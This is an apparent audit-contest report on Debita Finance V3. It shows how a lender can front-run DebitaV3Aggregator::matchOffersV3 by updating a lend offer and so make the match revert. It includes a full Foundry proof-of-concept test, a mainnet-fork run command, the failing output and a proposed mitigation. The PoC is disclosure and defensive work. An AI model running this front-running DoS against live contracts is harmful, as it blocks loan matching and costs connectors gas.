Shallow Cerulean Iguana

High

# DebitaV3Aggregator::matchOffersV3 function can be exploited by Deinal of Service attack

### Summary

If a borrow order is matched to multiple lend offers and one lender sees that the current match is more attractive and profitable for other lenders but not for him then he can front-run the match transaction and simply update his lender offer, like increasing the `apr`.  This will make the `DebitaV3Aggregator::matchOffersV3` function revert.

### Root Cause

In `DebitaV3Aggregator::matchOffersV3` function when a lend offer is matched with a borrow order, `DLOImplementation::acceptLendingOffer` function is called which uses `onlyAfterTimeOut` modifier, this modifier ensures that if the current lend offer is updated within last 60 seconds then revert the execution.

[Source](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L111)
```solidity
    modifier onlyAfterTimeOut() {
        require(
            lastUpdate == 0 || (block.timestamp - lastUpdate) > 1 minutes,
            "Offer has been updated in the last minute"
        );
        _;
    }
```

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. Borrower creates a borrow order
2. Lender 1 creates lend offer
3. Lender 2 creates lend offer
4. Lender 3 creates lend offer
5. Connector matches the borrow order with all three lend offers
6. Lender 2 sees in the mempool that this match is more favorable for Lender 1 and Lender 3, he thinks that he should increase the apr to make more returns, so he front-runs the match transaction and updates his lend offer by increasing the apr
7. Match offer transaction is reverted because it contains a lend offer that is updated within last 60 seconds

### Impact

Any lender can DoS the match offer transaction. This is also a loss for the Connector, because he will bear the revert transaction cost instead of earning the connector fee. This will discourage Connectors to perform matches and participate in the protocol. It also gives unfair advantage to lenders.

### PoC

Create a new file `WaqasPoC.t.sol` in `test/` and place below code in it.

```solidlity

pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {veNFTAerodrome} from "@contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/Receipt-veNFT.sol";

import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "./interfaces/getDynamicData.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {VotingEscrow} from "@aerodrome/VotingEscrow.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DutchAuction_veNFT} from "@contracts/auctions/Auction.sol";
import {DebitaChainlink} from "@contracts/oracles/DebitaChainlink.sol";
import {DebitaPyth} from "@contracts/oracles/DebitaPyth.sol";

contract PoC is Test {
    
    DynamicData public allDynamicData;
    DLOFactory public dloFactory;
    DBOFactory public dboFactory;
    DLOImplementation public LendOrder;
    DLOImplementation public LendOrder2;
    DLOImplementation public LendOrder3;
    DLOImplementation public dloImplementation;
    DBOImplementation public BorrowOrder;
    DBOImplementation public dboImplementation;
    veNFTAerodrome public receiptContract;
    ERC20Mock public AEROContract;
    VotingEscrow public ABIERC721Contract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DebitaV3Loan public DebitaV3LoanContract;

    address veAERO = 0xeBf418Fe2512e7E6bd9b87a8F0f294aCDC67e6B4;
    address AERO = 0x940181a94A35A4569E4529A3CDfB74e38FD98631;

    address public debitaChainlink;
    address public debitaPythOracle;
    address public lender;
    address public lender2;
    address public lender3;
    address public borrower;
    address public borrower2;
    address public borrower3;

    uint public receiptID;

    function setUp() public {
        allDynamicData = new DynamicData();
        dloImplementation = new DLOImplementation();
        dloFactory = new DLOFactory(address(dloImplementation));
        dboImplementation = new DBOImplementation();
        dboFactory = new DBOFactory(address(dboImplementation));
        receiptContract = new veNFTAerodrome(veAERO, AERO);
        AEROContract = ERC20Mock(AERO);
        ABIERC721Contract = VotingEscrow(veAERO);
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(dloFactory),
            address(dboFactory),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
        dloFactory.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        dboFactory.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DebitaV3AggregatorContract.setValidNFTCollateral(
            address(receiptContract),
            true
        );
        
        lender = makeAddr("lender");
        lender2 = makeAddr("lender2");
        lender3 = makeAddr("lender3");
        borrower = makeAddr("borrower");
        borrower2 = makeAddr("borrower2");
        borrower3 = makeAddr("borrower3");
        
        deal(AERO, lender, 1000e18, false);
        deal(AERO, lender2, 1000e18, false);
        deal(AERO, lender3, 1000e18, false);
        deal(AERO, borrower, 1000e18, false);

        setOracles();

    }

    function test_poc_matchOffersCanBeDOSed() external {
        
        //# CREATE BORROW ORDER
        {
            vm.startPrank(borrower);
            
            //# Mint veNFT and get NFR
            AEROContract.approve(address(ABIERC721Contract), 100e18);
            uint id = ABIERC721Contract.createLock(10e18, 365 * 4 * 86400);
            ABIERC721Contract.approve(address(receiptContract), id);
            uint[] memory nftID = allDynamicData.getDynamicUintArray(1);
            nftID[0] = id;//console.log("Id minting yaha sy start ho rhi hai: ", id);
            receiptContract.deposit(nftID);
            receiptID = receiptContract.lastReceiptID();
            
            //# Params
            bool[] memory borrowOraclesActivated = allDynamicData.getDynamicBoolArray(1);
            uint[] memory borrowLTVs = allDynamicData.getDynamicUintArray(1);
            address[] memory acceptedPrinciples = allDynamicData.getDynamicAddressArray(1);
            address[] memory _oracleIDs_Principles = allDynamicData.getDynamicAddressArray(1);
            uint[] memory borrowRatios = allDynamicData.getDynamicUintArray(1);
            
            borrowOraclesActivated[0] = true;
            borrowLTVs[0] = 5000;
            uint maxInterestRate = 1400;
            uint duration = 864000; // 10 days
            acceptedPrinciples[0] = AERO;
            address collateral = address(receiptContract);
            bool isNFT = true;
            _oracleIDs_Principles[0] = debitaChainlink;
            borrowRatios[0] = 0;
            uint collateralAmount = 1;

            receiptContract.approve(address(dboFactory), receiptID);
            address borrowOrder = dboFactory.createBorrowOrder(
                borrowOraclesActivated,
                borrowLTVs,
                maxInterestRate,
                duration,
                acceptedPrinciples,
                collateral,
                isNFT,
                receiptID,
                _oracleIDs_Principles,
                borrowRatios,
                debitaChainlink,
                collateralAmount
            );

            vm.stopPrank();
            
            BorrowOrder = DBOImplementation(borrowOrder);
        }

        //# CREATE LEND ORDER 1
        {
            //# Params
            bool[] memory lendOraclesActivated = allDynamicData.getDynamicBoolArray(1);
            uint[] memory lendLTVs = allDynamicData.getDynamicUintArray(1);
            address[] memory acceptedCollaterals = allDynamicData.getDynamicAddressArray(1);
            address[] memory oracles_Collateral = allDynamicData.getDynamicAddressArray(1);
            uint[] memory lendRatios = allDynamicData.getDynamicUintArray(1);
            
            bool perpetual = false;
            lendOraclesActivated[0] = true;
            bool lonelyLender = false;
            lendLTVs[0] = 5000;
            uint apr = 1000;
            uint maxDuration = 8640000;
            uint minDuration = 86400;
            acceptedCollaterals[0] = address(receiptContract);
            address principle = AERO;
            oracles_Collateral[0] = debitaChainlink;
            lendRatios[0] = 0;
            address _oracleID_Principle = debitaChainlink;
            uint startedLendingAmount = 2e18;

            vm.startPrank(lender);

            AEROContract.approve(address(dloFactory), 2e18);

            address lendOrder = dloFactory.createLendOrder(
                perpetual,
                lendOraclesActivated,
                lonelyLender,
                lendLTVs,
                apr,  
                maxDuration,
                minDuration,
                acceptedCollaterals,
                principle,
                oracles_Collateral,
                lendRatios,
                _oracleID_Principle,
                startedLendingAmount
            );

            vm.stopPrank();

            LendOrder = DLOImplementation(lendOrder);
        }

        //# CREATE LEND ORDER 2
        {
            //# Params
            bool[] memory lendOraclesActivated = allDynamicData.getDynamicBoolArray(1);
            uint[] memory lendLTVs = allDynamicData.getDynamicUintArray(1);
            address[] memory acceptedCollaterals = allDynamicData.getDynamicAddressArray(1);
            address[] memory oracles_Collateral = allDynamicData.getDynamicAddressArray(1);
            uint[] memory lendRatios = allDynamicData.getDynamicUintArray(1);
            
            bool perpetual = false;
            lendOraclesActivated[0] = true;
            bool lonelyLender = false;
            lendLTVs[0] = 5000;
            uint apr = 1000;
            uint maxDuration = 8640000;
            uint minDuration = 86400;
            acceptedCollaterals[0] = address(receiptContract);
            address principle = AERO;
            oracles_Collateral[0] = debitaChainlink;
            lendRatios[0] = 0;
            address _oracleID_Principle = debitaChainlink;
            uint startedLendingAmount = 2e18;

            vm.startPrank(lender2);

            AEROContract.approve(address(dloFactory), 2e18);

            address lendOrder = dloFactory.createLendOrder(
                perpetual,
                lendOraclesActivated,
                lonelyLender,
                lendLTVs,
                apr,  
                maxDuration,
                minDuration,
                acceptedCollaterals,
                principle,
                oracles_Collateral,
                lendRatios,
                _oracleID_Principle,
                startedLendingAmount
            );

            vm.stopPrank();

            LendOrder2 = DLOImplementation(lendOrder);
        }

        //# CREATE LEND ORDER 3
        {
            //# Params
            bool[] memory lendOraclesActivated = allDynamicData.getDynamicBoolArray(1);
            uint[] memory lendLTVs = allDynamicData.getDynamicUintArray(1);
            address[] memory acceptedCollaterals = allDynamicData.getDynamicAddressArray(1);
            address[] memory oracles_Collateral = allDynamicData.getDynamicAddressArray(1);
            uint[] memory lendRatios = allDynamicData.getDynamicUintArray(1);
            
            bool perpetual = false;
            lendOraclesActivated[0] = true;
            bool lonelyLender = false;
            lendLTVs[0] = 5000;
            uint apr = 1000;
            uint maxDuration = 8640000;
            uint minDuration = 86400;
            acceptedCollaterals[0] = address(receiptContract);
            address principle = AERO;
            oracles_Collateral[0] = debitaChainlink;
            lendRatios[0] = 0;
            address _oracleID_Principle = debitaChainlink;
            uint startedLendingAmount = 1e18;

            vm.startPrank(lender3);

            AEROContract.approve(address(dloFactory), 1e18);

            address lendOrder = dloFactory.createLendOrder(
                perpetual,
                lendOraclesActivated,
                lonelyLender,
                lendLTVs,
                apr,  
                maxDuration,
                minDuration,
                acceptedCollaterals,
                principle,
                oracles_Collateral,
                lendRatios,
                _oracleID_Principle,
                startedLendingAmount
            );

            vm.stopPrank();

            LendOrder3 = DLOImplementation(lendOrder);
        }
        
        //! Connector calls matchOffersV3() at this point but,
        //! Lender2 sees in the mempool that matchoffer is more attractive for
        /// Lender1 and Lender3, so he frontruns and updates his lend order by increasing the apr
        {
            //# Params
            uint[] memory newLTVs = allDynamicData.getDynamicUintArray(1);
            uint[] memory newRatios = allDynamicData.getDynamicUintArray(1);
            
            uint newApr = 1100;
            uint newMaxDuration = 8640000;
            uint newMinDuration = 86400;
            newLTVs[0] = 5000;
            newRatios[0] = 0;

            vm.startPrank(lender2);

            LendOrder2.updateLendOrder(
                newApr,
                newMaxDuration,
                newMinDuration,
                newLTVs,
                newRatios
            );

            vm.stopPrank();

        }

        //# MATCH OFFERS --> will revert
        {
            address[] memory lendOrders = allDynamicData.getDynamicAddressArray(3);
            uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(3);
            uint[] memory porcentageOfRatioPerLendOrder = allDynamicData.getDynamicUintArray(3);
            address[] memory principles = allDynamicData.getDynamicAddressArray(1);
            uint[] memory indexForPrinciple_BorrowOrder = allDynamicData.getDynamicUintArray(1);
            uint[] memory indexForCollateral_LendOrder = allDynamicData.getDynamicUintArray(3);
            uint[] memory indexPrinciple_LendOrder = allDynamicData.getDynamicUintArray(3);

            lendOrders[0] = address(LendOrder);
            lendOrders[1] = address(LendOrder2);
            lendOrders[2] = address(LendOrder3);
            
            lendAmountPerOrder[0] = 2e18;
            lendAmountPerOrder[1] = 2e18;
            lendAmountPerOrder[2] = 1e18;

            porcentageOfRatioPerLendOrder[0] = 10000; // 40%
            porcentageOfRatioPerLendOrder[1] = 10000; // 40%
            porcentageOfRatioPerLendOrder[2] = 10000; // 20%
            
            principles[0] = AERO;
            
            indexForPrinciple_BorrowOrder[0] = 0;
            
            indexForCollateral_LendOrder[0] = 0;
            indexForCollateral_LendOrder[1] = 0;
            indexForCollateral_LendOrder[2] = 0;
            
            indexPrinciple_LendOrder[0] = 0;
            indexPrinciple_LendOrder[1] = 0;
            indexPrinciple_LendOrder[2] = 0;

            address loan = DebitaV3AggregatorContract.matchOffersV3(
                lendOrders,
                lendAmountPerOrder,
                porcentageOfRatioPerLendOrder,
                address(BorrowOrder),
                principles,
                indexForPrinciple_BorrowOrder,
                indexForCollateral_LendOrder,
                indexPrinciple_LendOrder
            );

            DebitaV3LoanContract = DebitaV3Loan(loan);
        }

    }

}

```

Run the test using below command
`forge test --mp WaqasPoC.t.sol --mt test_poc_matchOffersCanBeDOSed --fork-url https://mainnet.base.org --fork-block-number 21151256 -vv`

```bash
Ran 1 test for test/WaqasPoC.t.sol:PoC
[FAIL: revert: Offer has been updated in the last minute] test_poc_matchOffersCanBeDOSed() (gas: 7369262)
Logs:
  1727286839
  1727286839
  1727286839
  1727286839
  1727286839
  1727286839

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 8.34ms (3.95ms CPU time)

Ran 1 test suite in 640.62ms (8.34ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/WaqasPoC.t.sol:PoC
[FAIL: revert: Offer has been updated in the last minute] test_poc_matchOffersCanBeDOSed() (gas: 7369262)

Encountered a total of 1 failing tests, 0 tests succeeded
```

### Mitigation

There should be some cooldown period between the lend offer updates. For example, once the lend offer is updated, then it will not be updated for next one hour, giving reasonable time to connectors to match the offer. 

Furthermore, once lend offer is selected to be matched with a borrow order, then it should become non-updatable.